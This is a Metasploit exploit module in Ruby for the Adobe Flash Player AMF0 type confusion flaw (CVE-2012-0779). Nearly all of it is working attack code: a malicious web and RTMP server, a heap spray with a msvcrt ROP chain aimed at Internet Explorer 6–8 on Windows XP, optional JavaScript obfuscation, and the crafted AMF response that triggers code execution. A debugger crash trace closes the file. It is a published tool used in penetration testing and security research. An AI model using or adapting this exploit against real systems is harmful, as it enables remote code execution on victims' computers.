Adobe Flash Player Object Type Confusion

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:os_name => OperatingSystems::WINDOWS,  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "8.0",  
:method => "GetVariable",  
:classid => "ShockwaveFlash.ShockwaveFlash",  
:rank => NormalRanking, # reliable memory corruption  
:javascript => true  
})  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Adobe Flash Player Object Type Confusion",  
'Description' => %q{  
This module exploits a vulnerability found in Adobe Flash  
Player. By supplying a corrupt AMF0 "_error" response, it  
is possible to gain arbitrary remote code execution under  
the context of the user.  
  
This vulnerability has been exploited in the wild as part of  
the "World Uyghur Congress Invitation.doc" e-mail attack.  
According to the advisory, 10.3.183.19 and 11.x before  
11.2.202.235 are affected.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sinn3r', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-0779' ],  
[ 'OSVDB', '81656'],  
[ 'BID', '53395' ],  
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info  
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ]  
],  
'Payload' =>  
{  
#'Space' => 1024,  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Flash Player 11.2.202.228  
[ 'Automatic', {} ],  
[  
'IE 6 on Windows XP SP3',  
{  
'Rop' => nil,  
'RandomHeap' => false,  
'Offset' => '0x0'  
}  
],  
[  
'IE 7 on Windows XP SP3',  
{  
'Rop' => nil,  
'RandomHeap' => false,  
'Offset' => '0x0'  
}  
],  
[  
'IE 8 on Windows XP SP3 with msvcrt ROP',  
{  
'Rop' => :msvcrt,  
'RandomHeap' => false,  
'Offset' => '238',  
'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "May 04 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),  
OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),  
OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]),  
], self.class  
)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
return targets[1] #IE 6 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
return targets[3] #IE 8 on Windows XP SP3  
else  
return nil  
end  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def nop  
return make_nops(4).unpack("V").first  
end  
  
def ret(t)  
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll  
end  
  
def popret(t)  
return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll  
end  
  
def get_rop_chain(t)  
  
# ROP chains generated by mona.py - See corelan.be  
print_status("Using msvcrt ROP")  
rop =  
[  
0x77c4e392, # POP EAX # RETN  
0x77c11120, # <- *&VirtualProtect()  
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77c2dd6c,  
0x77c4ec00, # POP EBP # RETN  
0x77c35459, # ptr to 'push esp # ret'  
0x77c47705, # POP EBX # RETN  
0x00001000, # EBX  
0x77c3ea01, # POP ECX # RETN  
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)  
0x77c46100, # POP EDI # RETN  
0x77c46101, # ROP NOP (-> edi)  
0x77c4d680, # POP EDX # RETN  
0x00000040, # newProtect (0x40) (-> edx)  
0x77c4e392, # POP EAX # RETN  
nop, # NOPS (-> eax)  
0x77c12df9, # PUSHAD # RETN  
].pack("V*")  
  
code = ret(t)  
code << rand_text(119)  
code << rop  
code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem  
code << payload.encoded  
offset = 2616 - code.length  
code << rand_text(offset)  
code << [ t['StackPivot'] ].pack("V")  
return code  
end  
  
def get_easy_spray(t, js_code, js_nops)  
  
spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset = nops.substring(0, #{t['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
  
heap_obj.gc();  
for (var z=1; z < 0x185; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
  
def get_aligned_spray(t, js_rop, js_nops)  
  
spray = <<-JS  
  
var heap_obj = new heapLib.ie(0x20000);  
var nops = unescape("#{js_nops}");  
var rop_chain = unescape("#{js_rop}");  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset = nops.substring(0, #{t['Offset']});  
var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);  
  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
  
heap_obj.gc();  
for (var z=1; z < 0x1c5; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
def exploit  
@swf = create_swf  
  
# Boilerplate required to handled pivoted listeners  
comm = datastore['ListenerComm']  
if comm == "local"  
comm = ::Rex::Socket::Comm::Local  
else  
comm = nil  
end  
  
@rtmp_listener = Rex::Socket::TcpServer.create(  
'LocalHost' => datastore['RTMPHOST'],  
'LocalPort' => datastore['RTMPPORT'],  
'Comm' => comm,  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self,  
}   
)  
  
# Register callbacks  
@rtmp_listener.on_client_connect_proc = Proc.new { |cli|  
add_socket(cli)  
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")  
on_rtmp_connect(cli)  
}  
  
@rtmp_listener.start  
  
super  
end  
  
def my_read(cli,size,timeout=nil)  
if timeout.nil?  
timeout = cli.def_read_timeout  
end  
  
buf = ""  
::Timeout::timeout(timeout) {  
while buf.length < size  
buf << cli.get_once(size - buf.length)  
end  
}  
buf  
end  
  
def do_handshake(cli)  
c0 = my_read(cli, 1)  
c1 = my_read(cli, 1536) # HandshakeSize => 1536  
s0 = "\3" # s0  
s1 = Rex::Text.rand_text(4) # s1.time  
s1 << "\x00\x00\x00\x00" # s1.zero  
s1 << Rex::Text.rand_text(1528) # s1.random_data  
s2 = c1 # s2  
cli.put(s0)  
cli.put(s1)  
cli.put(s2)  
c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)  
end  
  
def on_rtmp_connect(cli)  
  
begin  
do_handshake(cli)  
request = my_read(cli, 341) # connect request length  
  
case request  
when /connect/  
rtmp_header = "\x03" # Chunk Stream ID  
rtmp_header << "\x00\x00\x00" # Timestamp  
rtmp_header << "\x00\x00\x71" # Body Size  
rtmp_header << "\x14" # AMF0 Command  
rtmp_header << "\x00\x00\x00\x00" # Stream ID  
  
# String  
rtmp_body = "\x02" # String  
rtmp_body << "\x00\x06" # String length  
rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number  
# Array  
rtmp_body << "\x0a" # AMF Type: Array  
rtmp_body << "\x00\x00\x00\x05" # Array length: 5  
# Array elements  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
# Crafter Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
# Number  
rtmp_body << "\x00" # AMF Type: Number  
rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number  
  
trigger = rtmp_header  
trigger << rtmp_body  
  
cli.put(trigger)  
@rtmp_listener.close_client(cli)  
end  
rescue  
ensure  
@rtmp_listener.close_client(cli)  
remove_socket(cli)  
end  
  
end  
  
def cleanup  
super  
return if not @rtmp_listener  
  
begin  
@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)  
if @rtmp_listener.kind_of?(Rex::Socket)  
@rtmp_listener.close  
@rtmp_listener.stop  
end  
@rtmp_listener = nil  
rescue ::Exception  
end  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have the same setup we're targeting  
if my_target.nil?  
print_error("Browser not supported: #{agent}")  
send_not_found(cli)  
return  
end  
  
print_status("Client requesting: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status("Sending Exploit SWF")  
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })  
return  
end  
  
p = payload.encoded  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))  
  
if not my_target['Rop'].nil?  
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))  
js = get_aligned_spray(my_target, js_rop, js_nops)  
else  
js = get_easy_spray(my_target, js_code, js_nops)  
end  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource  
swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"  
  
if datastore['RTMPHOST'] == '0.0.0.0'  
rtmp_host = Rex::Socket.source_address('1.2.3.4')  
else  
rtmp_host = datastore['RTMPHOST']  
end  
  
rtmp_port = datastore['RTMPPORT']  
  
html = %Q|  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<center>  
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"  
id="test" width="1" height="1"  
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">  
<param name="movie" value="#{swf_uri}" />  
<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"  
<embed src="#{swf_uri}" quality="high"  
width="1" height="1" name="test" align="middle"  
allowNetworking="all"  
type="application/x-shockwave-flash"  
pluginspage="http://www.macromedia.com/go/getflashplayer"  
FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">  
</embed>  
  
</object>  
</center>  
  
</body>  
</html>  
|  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
def create_swf  
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" )  
fd = ::File.open( path, "rb" )  
swf = fd.read(fd.stat.size)  
fd.close  
  
return swf  
end  
  
end  
  
=begin  
  
* Flash Player 11.2.202.228  
  
(348.540): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000  
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202  
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:  
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]  
ds:0023:44444470=????????  
  
0:000> u eip  
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:  
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]  
104b1b30 53 push ebx  
104b1b31 ffd0 call eax  
  
=end  
`